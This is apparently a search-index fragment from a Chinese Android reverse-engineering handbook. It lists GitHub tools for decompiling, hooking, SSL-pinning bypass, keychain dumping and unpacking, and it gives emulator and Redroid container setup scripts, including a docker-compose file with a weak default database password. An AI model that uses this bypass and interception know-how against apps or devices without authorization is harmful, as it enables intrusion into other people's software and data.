开源项目","uri":"/reverse_engineering/android/05-appendix/github_projects/#2-反汇编器与反编译器"},{"categories":null,"collections":null,"content":"3. 调试器 项目 Star 数量 描述 x64dbg/x64dbg 45.3k Windows 平台开源的 x64/x32 调试器。 gdb/gdb N/A GNU 项目调试器。 rizinorg/cutter 15.6k radare2 的 GUI 界面。 hugsy/gef 6.4k GDB 的现代化插件，用于漏洞利用和逆向。 pwndbg/pwndbg 6.7k GDB 的一个插件，辅助 pwn。 longld/peda 5.7k GDB PEDA - Python Exploit Development Assistance for GDB. voltron/voltron 5.3k 一个可扩展的、跨平台的调试器 UI 工具包。 microsoft/WinDbg-Samples 300+ WinDbg 的示例扩展、脚本和 API 用法。 pdbpp/pdbpp 1.4k Python 调试器 (pdb) 的一个增强版。 x64dbg/x64dbgpy 300+ 用于 x64dbg 的 Python 脚本插件。 ","date":"2024-12-31","objectID":"/reverse_engineering/android/05-appendix/github_projects/:0:3","tags":["代理池","Frida","SSL Pinning","Ghidra","DEX","资源"],"title":"逆向工程 GitHub 开源项目","uri":"/reverse_engineering/android/05-appendix/github_projects/#3-调试器"},{"categories":null,"collections":null,"content":"4. 静态分析与二进制分析 项目 Star 数量 描述 angr/angr 7.3k 强大的二进制分析平台，支持符号执行。 trailofbits/manticore 2k 动态二进制分析工具，支持符号执行、污点分析。 JonathanSalwan/triton 2.7k 动态二进制分析 (DBA) 框架。 google/binexport 450+ 将反汇编从 IDA Pro, Binary Ninja, Ghidra 导出到 BinNavi。 google/binnavi 2.8k 二进制代码逆向工程和分析的图形化工具。 Gallopsled/pwntools 11.2k CTF 框架和漏洞利用开发库。 erocarrera/pefile 1.3k 用于解析和操作 PE 文件的 Python 模块。 eliben/pyelftools 1k 用于解析和分析 ELF 文件和 DWARF 调试信息的 Python 库。 lvc/vtable-dumper 250 用于从 PE/ELF 文件中 dump 虚函数表的工具。 ","date":"2024-12-31","objectID":"/reverse_engineering/android/05-appendix/github_projects/:0:4","tags":["代理池","Frida","SSL Pinning","Ghidra","DEX","资源"],"title":"逆向工程 GitHub 开源项目","uri":"/reverse_engineering/android/05-appendix/github_projects/#4-静态分析与二进制分析"},{"categories":null,"collections":null,"content":"5. android 平台 项目 Star 数量 描述 iBotPeaches/Apktool 18.2k 用于逆向 Android apk 文件的工具。 pxb1988/dex2jar 12k 用于处理 .dex 和 .class 文件的工具。 skylot/jadx 38.6k Dex 到 Java 的反编译器。 JesusFreke/smali 4.4k Android 的 smali/baksmali 汇编器/反汇编器。 MobSF/Mobile-Security-Framework-MobSF 16.4k 自动化的移动应用 (Android/iOS/Windows) 安全测试和恶意软件分析框架。 sensepost/objection 8.3k 运行时移动安全评估框架，基于 Frida。 Fuzion24/JustTrustMe 2.2k 禁用 SSL 证书检查的 Xposed 模块。 ac-pm/Inspeckage 1.8k Android 包动态分析工具，带 API hook 功能。 rednaga/APKiD 850 用于识别 Android 安装包中加壳、混淆和其它异常的工具。 CalebFenton/simplify 3.2k 通用 Android 反混淆工具。 strazzere/android-unpacker 900+ Defcon 22 上演示的 Android 脱壳工具。 asLody/AndHook 600+ Android 动态插桩框架。 turing-technician/fasthook 400+ Android ART Hook 框架。 wrbug/dumpdex 1.9k Android 脱壳工具。 topjohnwu/Magisk 35k+ Android 系统无感知 Root 工具。 LSPosed/LSPosed 15k+ 基于 Riru/Zygisk 的 ART Hook 框架 (Xposed 替代品)。 Genymobile/scrcpy 90k+ 高性能的 Android 投屏与控制工具。 shroudedcode/apk-mitm 3k+ 自动修改 APK 以便进行 HTTPS 抓包的工具。 r0ysue/r0capture 4k+ 基于 Frida 的安卓应用层抓包通杀脚本。 ","date":"2024-12-31","objectID":"/reverse_engineering/android/05-appendix/github_projects/:0:5","tags":["代理池","Frida","SSL Pinning","Ghidra","DEX","资源"],"title":"逆向工程 GitHub 开源项目","uri":"/reverse_engineering/android/05-appendix/github_projects/#5-android-平台"},{"categories":null,"collections":null,"content":"6. 多平台与通用工具 项目 Star 数量 描述 upx/upx 4.9k 极致的可执行文件压缩器。 horsicq/Detect-It-Easy 5.8k 用于判断文件类型的程序，支持 Windows, Linux, macOS。 DidierStevens/DidierStevensSuite 450+ 在文件中搜索经过 XOR, ROL, ROT 或 SHIFT 编码的字符串。 google/santa 3.1k 用于 macOS 的二进制文件白名单/黑名单系统。 trailofbits/osquery-extensions 300+ osquery 的扩展，用于增强安全分析。 checkra1n/pongoOS 1.2k checkra1n 使用的 Pre-boot eXecution Environment。 mitmproxy/mitmproxy 33k+ 交互式的 HTTPS 代理，用于调试、测试和渗透。 ","date":"2024-12-31","objectID":"/reverse_engineering/android/05-appendix/github_projects/:0:6","tags":["代理池","Frida","SSL Pinning","Ghidra","DEX","资源"],"title":"逆向工程 GitHub 开源项目","uri":"/reverse_engineering/android/05-appendix/github_projects/#6-多平台与通用工具"},{"categories":null,"collections":null,"content":"7. Hex 编辑器 项目 Star 数量 描述 gdabah/distorm 500+ x86/AMD64 的快速反汇编库。 WerWolv/ImHex 3k 一个功能丰富的现代 Hex 编辑器。 ","date":"2024-12-31","objectID":"/reverse_engineering/android/05-appendix/github_projects/:0:7","tags":["代理池","Frida","SSL Pinning","Ghidra","DEX","资源"],"title":"逆向工程 GitHub 开源项目","uri":"/reverse_engineering/android/05-appendix/github_projects/#7-hex-编辑器"},{"categories":null,"collections":null,"content":"8. 脱壳与反混淆 项目 Star 数量 描述 de4dot/de4dot 6.5k .NET 反混淆器和脱壳器。 fireeye/flare-floss 1.5k 自动从恶意软件中提取混淆后的字符串。 ioncodes/dnpatch 500+ 用于修补 .NET 程序集的工具。 hluwa/frida-dexdump 3k+ 基于 Frida 的快速 Dex 内存导出工具。 Perfare/Il2CppDumper 7k+ Unity Il2Cpp 逆向工具，还原 DLL 和头文件。 ","date":"2024-12-31","objectID":"/reverse_engineering/android/05-appendix/github_projects/:0:8","tags":["代理池","Frida","SSL Pinning","Ghidra","DEX","资源"],"title":"逆向工程 GitHub 开源项目","uri":"/reverse_engineering/android/05-appendix/github_projects/#8-脱壳与反混淆"},{"categories":null,"collections":null,"content":"9. 固件分析 项目 Star 数量 描述 ReFirmLabs/binwalk 10.1k 用于分析、逆向和提取固件镜像的工具。 craigz28/firmwalker 1k 自动在固件中搜索敏感信息的脚本。 attify/firmware-analysis-toolkit 1k 用于固件安全测试的工具包。 0xff7/IoTSecurity101 500+ 物联网安全入门。 ","date":"2024-12-31","objectID":"/reverse_engineering/android/05-appendix/github_projects/:0:9","tags":["代理池","Frida","SSL Pinning","Ghidra","DEX","资源"],"title":"逆向工程 GitHub 开源项目","uri":"/reverse_engineering/android/05-appendix/github_projects/#9-固件分析"},{"categories":null,"collections":null,"content":"10. Apple 平台 (iOS/macOS) 项目 Star 数量 描述 nygard/class-dump 2.6k 从 Mach-O 文件生成 Objective-C 头文件。 KJCracks/Clutch 2.8k 快速的 iOS 可执行文件 dumper。 alonemonkey/MonkeyDev 4.5k iOS Tweak 开发工具，无需越狱。 facebook/chisel 8.3k 辅助调试 iOS 应用的 LLDB 命令集合。 nabla-c0d3/ssl-kill-switch2 1.6k 黑盒工具，用于在 iOS 和 macOS 应用中禁用 SSL 证书验证。 ptoomey3/Keychain-Dumper 1k 在越狱设备上检查哪些钥匙串项可被访问。 limneos/classdump-dyld 450+ 无需从 dyld_shared_cache 中提取即可 class-dump 任何 Mach-O 文件。 ","date":"2024-12-31","objectID":"/reverse_engineering/android/05-appendix/github_projects/:0:10","tags":["代理池","Frida","SSL Pinning","Ghidra","DEX","资源"],"title":"逆向工程 GitHub 开源项目","uri":"/reverse_engineering/android/05-appendix/github_projects/#10-apple-平台-iosmacos"},{"categories":null,"collections":null,"content":"11. 其他与资源 项目 Star 数量 描述 firmianay/security-paper 1.7k 安全领域的一些经典论文。 enaqx/awesome-pentest 18k+ 精选的渗透测试资源、工具和其它很棒的东西。 carpedm20/awesome-hacking 9k+ 精选的黑客资源、工具和教程。 onethawt/idaplugins-list 1.9k IDA Pro 插件列表。 Siguza/ios-resources 700+ iOS 黑客相关的有用资源。 michalmalik/osx-re-101 1.4k OSX/iOS 逆向资源。 ","date":"2024-12-31","objectID":"/reverse_engineering/android/05-appendix/github_projects/:0:11","tags":["代理池","Frida","SSL Pinning","Ghidra","DEX","资源"],"title":"逆向工程 GitHub 开源项目","uri":"/reverse_engineering/android/05-appendix/github_projects/#11-其他与资源"},{"categories":null,"collections":null,"content":"工程化：虚拟化与容器技术 前置知识 本配方涉及以下核心技术，建议先阅读相关章节： ADB 速查手册 - 模拟器设备管理基础 Docker 部署 - Docker 基础概念 Linux 基础 - 理解进程隔离与资源限制 移动端虚拟化技术是在服务器端模拟出成百上千个 Android 设备环境的能力，它是所有大规模自动化测试、数据采集和安全分析任务的基石。这项技术的核心在于平衡性能、隔离性和真实性。 ","date":"2024-12-28","objectID":"/reverse_engineering/android/01-recipes/automation/virtualization_and_containers/:0:0","tags":["Docker","签名验证","Frida","SSL Pinning","代理池","自动化"],"title":"工程化：虚拟化与容器技术","uri":"/reverse_engineering/android/01-recipes/automation/virtualization_and_containers/#工程化虚拟化与容器技术"},{"categories":null,"collections":null,"content":"1. 技术架构总览 ┌─────────────────────────────────────────────────────────────────────────┐ │ 云手机/自动化平台 │ ├─────────────────────────────────────────────────────────────────────────┤ │ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ │ │ │ 任务调度器 │ │ 设备管理器 │ │ 脚本引擎 │ │ 数据存储 │ │ │ │ (Celery) │ │ (自研) │ │ (Appium) │ │ (MongoDB) │ │ │ └──────┬──────┘ └──────┬──────┘ └──────┬──────┘ └──────┬──────┘ │ │ │ │ │ │ │ │ └────────────────┴────────────────┴────────────────┘ │ │ │ │ ├───────────────────────────────────┼─────────────────────────────────────┤ │ 容器编排层 (Kubernetes / Docker Swarm) │ ├───────────────────────────────────┼─────────────────────────────────────┤ │ ┌──────────────────────────────────────────────────────────────────┐ │ │ │ Android 虚拟化层 │ │ │ │ ┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐│ │ │ │ │Redroid-1│ │Redroid-2│ │Redroid-3│ │ ... │ │Redroid-N││ │ │ │ │ :5555 │ │ :5556 │ │ :5557 │ │ │ │ :555N ││ │ │ │ └─────────┘ └─────────┘ └─────────┘ └─────────┘ └─────────┘│ │ │ └──────────────────────────────────────────────────────────────────┘ │ ├─────────────────────────────────────────────────────────────────────────┤ │ 宿主机 (Linux + Docker + GPU) │ └─────────────────────────────────────────────────────────────────────────┘ ","date":"2024-12-28","objectID":"/reverse_engineering/android/01-recipes/automation/virtualization_and_containers/:1:0","tags":["Docker","签名验证","Frida","SSL Pinning","代理池","自动化"],"title":"工程化：虚拟化与容器技术","uri":"/reverse_engineering/android/01-recipes/automation/virtualization_and_containers/#1-技术架构总览"},{"categories":null,"collections":null,"content":"2. Android 模拟器方案详解 ","date":"2024-12-28","objectID":"/reverse_engineering/android/01-recipes/automation/virtualization_and_containers/:2:0","tags":["Docker","签名验证","Frida","SSL Pinning","代理池","自动化"],"title":"工程化：虚拟化与容器技术","uri":"/reverse_engineering/android/01-recipes/automation/virtualization_and_containers/#2-android-模拟器方案详解"},{"categories":null,"collections":null,"content":"2.1 方案对比矩阵 方案 类型 性能 隔离性 扩展性 成本 适用场景 Android SDK Emulator 全系统模拟 (QEMU) ★★☆ ★★★★★ ★★☆ 免费 开发调试、小规模测试 Redroid Docker 容器 ★★★★ ★★★★ ★★★★★ 免费 大规模云手机、CI/CD Waydroid LXC 容器 ★★★★★ ★★★ ★★★ 免费 本地开发、单机测试 Genymotion Cloud 商业 PaaS ★★★★ ★★★★★ ★★★★★ 付费 企业级、合规要求高 AWS Device Farm 真机云服务 ★★★★★ ★★★★★ ★★★★ 按需付费 真机兼容性测试 ","date":"2024-12-28","objectID":"/reverse_engineering/android/01-recipes/automation/virtualization_and_containers/:2:1","tags":["Docker","签名验证","Frida","SSL Pinning","代理池","自动化"],"title":"工程化：虚拟化与容器技术","uri":"/reverse_engineering/android/01-recipes/automation/virtualization_and_containers/#21-方案对比矩阵"},{"categories":null,"collections":null,"content":"2.2 Android SDK Emulator 官方模拟器，功能最完整，适合开发调试。 安装与配置 # 安装 Android SDK 命令行工具 wget https://dl.google.com/android/repository/commandlinetools-linux-9477386_latest.zip unzip commandlinetools-linux-*.zip -d android-sdk export ANDROID_HOME=$PWD/android-sdk export PATH=$PATH:$ANDROID_HOME/cmdline-tools/latest/bin # 安装系统镜像和平台工具 sdkmanager \"platform-tools\" \"emulator\" sdkmanager \"system-images;android-33;google_apis;x86_64\" # 创建 AVD (Android Virtual Device) avdmanager create avd -n test_device -k \"system-images;android-33;google_apis;x86_64\" \\ --device \"pixel_4\" \\ -c 2048M # 2GB SD卡 启动参数优化 # 无头模式启动 (服务器环境) emulator -avd test_device \\ -no-window \\ -no-audio \\ -no-boot-anim \\ -gpu swiftshader_indirect \\ -memory 4096 \\ -cores 4 \\ -partition-size 8192 \\ -writable-system \\ -port 5554 # 常用参数说明 # -no-window 无界面模式 # -no-audio 禁用音频 # -no-boot-anim 跳过开机动画 # -gpu GPU 渲染模式 (host/swiftshader_indirect/off) # -memory 内存大小 (MB) # -cores CPU 核心数 # -writable-system 允许修改 /system 分区 批量管理脚本 #!/bin/bash # start_emulators.sh - 批量启动模拟器 NUM_EMULATORS=${1:-5} BASE_PORT=5554 for i in $(seq 1 $NUM_EMULATORS); do PORT=$((BASE_PORT + (i-1) * 2)) AVD_NAME=\"device_$i\" echo \"Starting $AVD_NAME on port $PORT...\" emulator -avd $AVD_NAME \\ -no-window \\ -no-audio \\ -port $PORT \\ -read-only \u0026 sleep 5 done # 等待所有设备启动完成 echo \"Waiting for devices to boot...\" for i in $(seq 1 $NUM_EMULATORS); do PORT=$((BASE_PORT + (i-1) * 2)) adb -s emulator-$PORT wait-for-device adb -s emulator-$PORT shell 'while [[ -z $(getprop sys.boot_completed) ]]; do sleep 1; done' echo \"Device emulator-$PORT is ready\" done echo \"All $NUM_EMULATORS emulators are running\" ","date":"2024-12-28","objectID":"/reverse_engineering/android/01-recipes/automation/virtualization_and_containers/:2:2","tags":["Docker","签名验证","Frida","SSL Pinning","代理池","自动化"],"title":"工程化：虚拟化与容器技术","uri":"/reverse_engineering/android/01-recipes/automation/virtualization_and_containers/#22-android-sdk-emulator"},{"categories":null,"collections":null,"content":"2.2 Android SDK Emulator 官方模拟器，功能最完整，适合开发调试。 安装与配置 # 安装 Android SDK 命令行工具 wget https://dl.google.com/android/repository/commandlinetools-linux-9477386_latest.zip unzip commandlinetools-linux-*.zip -d android-sdk export ANDROID_HOME=$PWD/android-sdk export PATH=$PATH:$ANDROID_HOME/cmdline-tools/latest/bin # 安装系统镜像和平台工具 sdkmanager \"platform-tools\" \"emulator\" sdkmanager \"system-images;android-33;google_apis;x86_64\" # 创建 AVD (Android Virtual Device) avdmanager create avd -n test_device -k \"system-images;android-33;google_apis;x86_64\" \\ --device \"pixel_4\" \\ -c 2048M # 2GB SD卡 启动参数优化 # 无头模式启动 (服务器环境) emulator -avd test_device \\ -no-window \\ -no-audio \\ -no-boot-anim \\ -gpu swiftshader_indirect \\ -memory 4096 \\ -cores 4 \\ -partition-size 8192 \\ -writable-system \\ -port 5554 # 常用参数说明 # -no-window 无界面模式 # -no-audio 禁用音频 # -no-boot-anim 跳过开机动画 # -gpu GPU 渲染模式 (host/swiftshader_indirect/off) # -memory 内存大小 (MB) # -cores CPU 核心数 # -writable-system 允许修改 /system 分区 批量管理脚本 #!/bin/bash # start_emulators.sh - 批量启动模拟器 NUM_EMULATORS=${1:-5} BASE_PORT=5554 for i in $(seq 1 $NUM_EMULATORS); do PORT=$((BASE_PORT + (i-1) * 2)) AVD_NAME=\"device_$i\" echo \"Starting $AVD_NAME on port $PORT...\" emulator -avd $AVD_NAME \\ -no-window \\ -no-audio \\ -port $PORT \\ -read-only \u0026 sleep 5 done # 等待所有设备启动完成 echo \"Waiting for devices to boot...\" for i in $(seq 1 $NUM_EMULATORS); do PORT=$((BASE_PORT + (i-1) * 2)) adb -s emulator-$PORT wait-for-device adb -s emulator-$PORT shell 'while [[ -z $(getprop sys.boot_completed) ]]; do sleep 1; done' echo \"Device emulator-$PORT is ready\" done echo \"All $NUM_EMULATORS emulators are running\" ","date":"2024-12-28","objectID":"/reverse_engineering/android/01-recipes/automation/virtualization_and_containers/:2:2","tags":["Docker","签名验证","Frida","SSL Pinning","代理池","自动化"],"title":"工程化：虚拟化与容器技术","uri":"/reverse_engineering/android/01-recipes/automation/virtualization_and_containers/#安装与配置"},{"categories":null,"collections":null,"content":"2.2 Android SDK Emulator 官方模拟器，功能最完整，适合开发调试。 安装与配置 # 安装 Android SDK 命令行工具 wget https://dl.google.com/android/repository/commandlinetools-linux-9477386_latest.zip unzip commandlinetools-linux-*.zip -d android-sdk export ANDROID_HOME=$PWD/android-sdk export PATH=$PATH:$ANDROID_HOME/cmdline-tools/latest/bin # 安装系统镜像和平台工具 sdkmanager \"platform-tools\" \"emulator\" sdkmanager \"system-images;android-33;google_apis;x86_64\" # 创建 AVD (Android Virtual Device) avdmanager create avd -n test_device -k \"system-images;android-33;google_apis;x86_64\" \\ --device \"pixel_4\" \\ -c 2048M # 2GB SD卡 启动参数优化 # 无头模式启动 (服务器环境) emulator -avd test_device \\ -no-window \\ -no-audio \\ -no-boot-anim \\ -gpu swiftshader_indirect \\ -memory 4096 \\ -cores 4 \\ -partition-size 8192 \\ -writable-system \\ -port 5554 # 常用参数说明 # -no-window 无界面模式 # -no-audio 禁用音频 # -no-boot-anim 跳过开机动画 # -gpu GPU 渲染模式 (host/swiftshader_indirect/off) # -memory 内存大小 (MB) # -cores CPU 核心数 # -writable-system 允许修改 /system 分区 批量管理脚本 #!/bin/bash # start_emulators.sh - 批量启动模拟器 NUM_EMULATORS=${1:-5} BASE_PORT=5554 for i in $(seq 1 $NUM_EMULATORS); do PORT=$((BASE_PORT + (i-1) * 2)) AVD_NAME=\"device_$i\" echo \"Starting $AVD_NAME on port $PORT...\" emulator -avd $AVD_NAME \\ -no-window \\ -no-audio \\ -port $PORT \\ -read-only \u0026 sleep 5 done # 等待所有设备启动完成 echo \"Waiting for devices to boot...\" for i in $(seq 1 $NUM_EMULATORS); do PORT=$((BASE_PORT + (i-1) * 2)) adb -s emulator-$PORT wait-for-device adb -s emulator-$PORT shell 'while [[ -z $(getprop sys.boot_completed) ]]; do sleep 1; done' echo \"Device emulator-$PORT is ready\" done echo \"All $NUM_EMULATORS emulators are running\" ","date":"2024-12-28","objectID":"/reverse_engineering/android/01-recipes/automation/virtualization_and_containers/:2:2","tags":["Docker","签名验证","Frida","SSL Pinning","代理池","自动化"],"title":"工程化：虚拟化与容器技术","uri":"/reverse_engineering/android/01-recipes/automation/virtualization_and_containers/#启动参数优化"},{"categories":null,"collections":null,"content":"2.2 Android SDK Emulator 官方模拟器，功能最完整，适合开发调试。 安装与配置 # 安装 Android SDK 命令行工具 wget https://dl.google.com/android/repository/commandlinetools-linux-9477386_latest.zip unzip commandlinetools-linux-*.zip -d android-sdk export ANDROID_HOME=$PWD/android-sdk export PATH=$PATH:$ANDROID_HOME/cmdline-tools/latest/bin # 安装系统镜像和平台工具 sdkmanager \"platform-tools\" \"emulator\" sdkmanager \"system-images;android-33;google_apis;x86_64\" # 创建 AVD (Android Virtual Device) avdmanager create avd -n test_device -k \"system-images;android-33;google_apis;x86_64\" \\ --device \"pixel_4\" \\ -c 2048M # 2GB SD卡 启动参数优化 # 无头模式启动 (服务器环境) emulator -avd test_device \\ -no-window \\ -no-audio \\ -no-boot-anim \\ -gpu swiftshader_indirect \\ -memory 4096 \\ -cores 4 \\ -partition-size 8192 \\ -writable-system \\ -port 5554 # 常用参数说明 # -no-window 无界面模式 # -no-audio 禁用音频 # -no-boot-anim 跳过开机动画 # -gpu GPU 渲染模式 (host/swiftshader_indirect/off) # -memory 内存大小 (MB) # -cores CPU 核心数 # -writable-system 允许修改 /system 分区 批量管理脚本 #!/bin/bash # start_emulators.sh - 批量启动模拟器 NUM_EMULATORS=${1:-5} BASE_PORT=5554 for i in $(seq 1 $NUM_EMULATORS); do PORT=$((BASE_PORT + (i-1) * 2)) AVD_NAME=\"device_$i\" echo \"Starting $AVD_NAME on port $PORT...\" emulator -avd $AVD_NAME \\ -no-window \\ -no-audio \\ -port $PORT \\ -read-only \u0026 sleep 5 done # 等待所有设备启动完成 echo \"Waiting for devices to boot...\" for i in $(seq 1 $NUM_EMULATORS); do PORT=$((BASE_PORT + (i-1) * 2)) adb -s emulator-$PORT wait-for-device adb -s emulator-$PORT shell 'while [[ -z $(getprop sys.boot_completed) ]]; do sleep 1; done' echo \"Device emulator-$PORT is ready\" done echo \"All $NUM_EMULATORS emulators are running\" ","date":"2024-12-28","objectID":"/reverse_engineering/android/01-recipes/automation/virtualization_and_containers/:2:2","tags":["Docker","签名验证","Frida","SSL Pinning","代理池","自动化"],"title":"工程化：虚拟化与容器技术","uri":"/reverse_engineering/android/01-recipes/automation/virtualization_and_containers/#批量管理脚本"},{"categories":null,"collections":null,"content":"2.3 Redroid (Remote Android) Redroid 是基于 Docker 的 Android 容器化方案，性能优秀，适合大规模部署。 系统要求 # 检查内核模块 lsmod | grep -E \"binder|ashmem\" # 如果没有，需要加载或安装 # Ubuntu 20.04+ sudo apt install linux-modules-extra-$(uname -r) sudo modprobe binder_linux devices=\"binder,hwbinder,vndbinder\" sudo modprobe ashmem_linux # 持久化加载 echo \"binder_linux\" | sudo tee /etc/modules-load.d/binder.conf echo \"ashmem_linux\" | sudo tee /etc/modules-load.d/ashmem.conf echo \"options binder_linux devices=binder,hwbinder,vndbinder\" | sudo tee /etc/modprobe.d/binder.conf Docker 部署 # 单实例启动 docker run -d --name redroid \\ --privileged \\ --memory 4g \\ --cpus 4 \\ -v ~/redroid-data:/data \\ -p 5555:5555 \\ redroid/redroid:12.0.0-latest \\ androidboot.redroid_width=1080 \\ androidboot.redroid_height=1920 \\ androidboot.redroid_dpi=440 \\ androidboot.redroid_fps=60 # 连接设备 adb connect localhost:5555 adb devices docker-compose 多实例部署 # docker-compose.yml version: \"3.8\" x-redroid-common: \u0026redroid-common image: redroid/redroid:12.0.0-latest privileged: true mem_limit: 4g cpus: 2 command: - androidboot.redroid_width=1080 - androidboot.redroid_height=1920 - androidboot.redroid_dpi=440 - androidboot.redroid_fps=30 - androidboot.redroid_gpu_mode=guest services: # Android 实例 redroid-1: \u003c\u003c: *redroid-common container_name: redroid-1 ports: - \"5555:5555\" volumes: - ./data/device-1:/data redroid-2: \u003c\u003c: *redroid-common container_name: redroid-2 ports: - \"5556:5555\" volumes: - ./data/device-2:/data redroid-3: \u003c\u003c: *redroid-common container_name: redroid-3 ports: - \"5557:5555\" volumes: - ./data/device-3:/data # 支撑服务 redis: image: redis:7-alpine container_name: redis ports: - \"6379:6379\" volumes: - ./data/redis:/data mitmproxy: image: mitmproxy/mitmproxy:latest container_name: mitmproxy ports: - \"8080:8080\" - \"8081:8081\" command: mitmweb --web-host 0.0.0.0 volumes: - ./data/mitmproxy:/home/mitmproxy/.mitmproxy mongodb: image: mongo:6 container_name: mongodb ports: - \"27017:27017\" environment: MONGO_INITDB_ROOT_USERNAME: admin MONGO_INITDB_ROOT_PASSWORD: password volumes: - ./data/mongodb:/data/db networks: default: driver: bridge ipam: config: - subnet: 172.28.0.0/16 启动与管理 # 启动所有服务 docker-compose up -d # 批量连接设备 for port in 5555 5556 5557; do adb connect localhost:$port done # 查看设备状态 adb devices # 批量安装 APK APK_PATH=\"./target.apk\" for device in $(adb devices | grep -v \"List\" | awk '{print $1}'); do echo \"Installing on $device...\" adb -s $device install -r $APK_PATH \u0026 done wait # 停止所有服务 docker-compose down ","date":"2024-12-28","objectID":"/reverse_engineering/android/01-recipes/automation/virtualization_and_containers/:2:3","tags":["Docker","签名验证","Frida","SSL Pinning","代理池","自动化"],"title":"工程化：虚拟化与容器技术","uri":"/reverse_engineering/android/01-recipes/automation/virtualization_and_containers/#23-redroid-remote-android"},{"categories":null,"collections":null,"content":"2.3 Redroid (Remote Android) Redroid 是基于 Docker 的 Android 容器化方案，性能优秀，适合大规模部署。 系统要求 # 检查内核模块 lsmod | grep -E \"binder|ashmem\" # 如果没有，需要加载或安装 # Ubuntu 20.04+ sudo apt install linux-modules-extra-$(uname -r) sudo modprobe binder_linux devices=\"binder,hwbinder,vndbinder\" sudo modprobe ashmem_linux # 持久化加载 echo \"binder_linux\" | sudo tee /etc/modules-load.d/binder.conf echo \"ashmem_linux\" | sudo tee /etc/modules-load.d/ashmem.conf echo \"options binder_linux devices=binder,hwbinder,vndbinder\" | sudo tee /etc/modprobe.d/binder.conf Docker 部署 # 单实例启动 docker run -d --name redroid \\ --privileged \\ --memory 4g \\ --cpus 4 \\ -v ~/redroid-data:/data \\ -p 5555:5555 \\ redroid/redroid:12.0.0-latest \\ androidboot.redroid_width=1080 \\ androidboot.redroid_height=1920 \\ androidboot.redroid_dpi=440 \\ androidboot.redroid_fps=60 # 连接设备 adb connect localhost:5555 adb devices docker-compose 多实例部署 # docker-compose.yml version: \"3.8\" x-redroid-common: \u0026redroid-common image: redroid/redroid:12.0.0-latest privileged: true mem_limit: 4g cpus: 2 command: - androidboot.redroid_width=1080 - androidboot.redroid_height=1920 - androidboot.redroid_dpi=440 - androidboot.redroid_fps=30 - androidboot.redroid_gpu_mode=guest services: # Android 实例 redroid-1: \u003c\u003c: *redroid-common container_name: redroid-1 ports: - \"5555:5555\" volumes: - ./data/device-1:/data redroid-2: \u003c\u003c: *redroid-common container_name: redroid-2 ports: - \"5556:5555\" volumes: - ./data/device-2:/data redroid-3: \u003c\u003c: *redroid-common container_name: redroid-3 ports: - \"5557:5555\" volumes: - ./data/device-3:/data # 支撑服务 redis: image: redis:7-alpine container_name: redis ports: - \"6379:6379\" volumes: - ./data/redis:/data mitmproxy: image: mitmproxy/mitmproxy:latest container_name: mitmproxy ports: - \"8080:8080\" - \"8081:8081\" command: mitmweb --web-host 0.0.0.0 volumes: - ./data/mitmproxy:/home/mitmproxy/.mitmproxy mongodb: image: mongo:6 container_name: mongodb ports: - \"27017:27017\" environment: MONGO_INITDB_ROOT_USERNAME: admin MONGO_INITDB_ROOT_PASSWORD: password volumes: - ./data/mongodb:/data/db networks: default: driver: bridge ipam: config: - subnet: 172.28.0.0/16 启动与管理 # 启动所有服务 docker-compose up -d # 批量连接设备 for port in 5555 5556 5557; do adb connect localhost:$port done # 查看设备状态 adb devices # 批量安装 APK APK_PATH=\"./target.apk\" for device in $(adb devices | grep -v \"List\" | awk '{print $1}'); do echo \"Installing on $device...\" adb -s $device install -r $APK_PATH \u0026 done wait # 停止所有服务 docker-compose down ","date":"2024-12-28","objectID":"/reverse_engineering/android/01-recipes/automation/virtualization_and_containers/:2:3","tags":["Docker","签名验证","Frida","SSL Pinning","代理池","自动化"],"title":"工程化：虚拟化与容器技术","uri":"/reverse_engineering/android/01-recipes/automation/virtualization_and_containers/#系统要求"},{"categories":null,"collections":null,"content":"2.3 Redroid (Remote Android) Redroid 是基于 Docker 的 Android 容器化方案，性能优秀，适合大规模部署。 系统要求 # 检查内核模块 lsmod | grep -E \"binder|ashmem\" # 如果没有，需要加载或安装 # Ubuntu 20.04+ sudo apt install linux-modules-extra-$(uname -r) sudo modprobe binder_linux devices=\"binder,hwbinder,vndbinder\" sudo modprobe ashmem_linux # 持久化加载 echo \"binder_linux\" | sudo tee /etc/modules-load.d/binder.conf echo \"ashmem_linux\" | sudo tee /etc/modules-load.d/ashmem.conf echo \"options binder_linux devices=binder,hwbinder,vndbinder\" | sudo tee /etc/modprobe.d/binder.conf Docker 部署 # 单实例启动 docker run -d --name redroid \\ --privileged \\ --memory 4g \\ --cpus 4 \\ -v ~/redroid-data:/data \\ -p 5555:5555 \\ redroid/redroid:12.0.0-latest \\ androidboot.redroid_width=1080 \\ androidboot.redroid_height=1920 \\ androidboot.redroid_dpi=440 \\ androidboot.redroid_fps=60 # 连接设备 adb connect localhost:5555 adb devices docker-compose 多实例部署 # docker-compose.yml version: \"3.8\" x-redroid-common: \u0026redroid-common image: redroid/redroid:12.0.0-latest privileged: true mem_limit: 4g cpus: 2 command: - androidboot.redroid_width=1080 - androidboot.redroid_height=1920 - androidboot.redroid_dpi=440 - androidboot.redroid_fps=30 - androidboot.redroid_gpu_mode=guest services: # Android 实例 redroid-1: \u003c\u003c: *redroid-common container_name: redroid-1 ports: - \"5555:5555\" volumes: - ./data/device-1:/data redroid-2: \u003c\u003c: *redroid-common container_name: redroid-2 ports: - \"5556:5555\" volumes: - ./data/device-2:/data redroid-3: \u003c\u003c: *redroid-common container_name: redroid-3 ports: - \"5557:5555\" volumes: - ./data/device-3:/data # 支撑服务 redis: image: redis:7-alpine container_name: redis ports: - \"6379:6379\" volumes: - ./data/redis:/data mitmproxy: image: mitmproxy/mitmproxy:latest container_name: mitmproxy ports: - \"8080:8080\" - \"8081:8081\" command: mitmweb --web-host 0.0.0.0 volumes: - ./data/mitmproxy:/home/mitmproxy/.mitmproxy mongodb: image: mongo:6 container_name: mongodb ports: - \"27017:27017\" environment: MONGO_INITDB_ROOT_USERNAME: admin MONGO_INITDB_ROOT_PASSWORD: password volumes: - ./data/mongodb:/data/db networks: default: driver: bridge ipam: config: - subnet: 172.28.0.0/16 启动与管理 # 启动所有服务 docker-compose up -d # 批量连接设备 for port in 5555 5556 5557; do adb connect localhost:$port done # 查看设备状态 adb devices # 批量安装 APK APK_PATH=\"./target.apk\" for device in $(adb devices | grep -v \"List\" | awk '{print $1}'); do echo \"Installing on $device...\" adb -s $device install -r $APK_PATH \u0026 done wait # 停止所有服务 docker-compose down 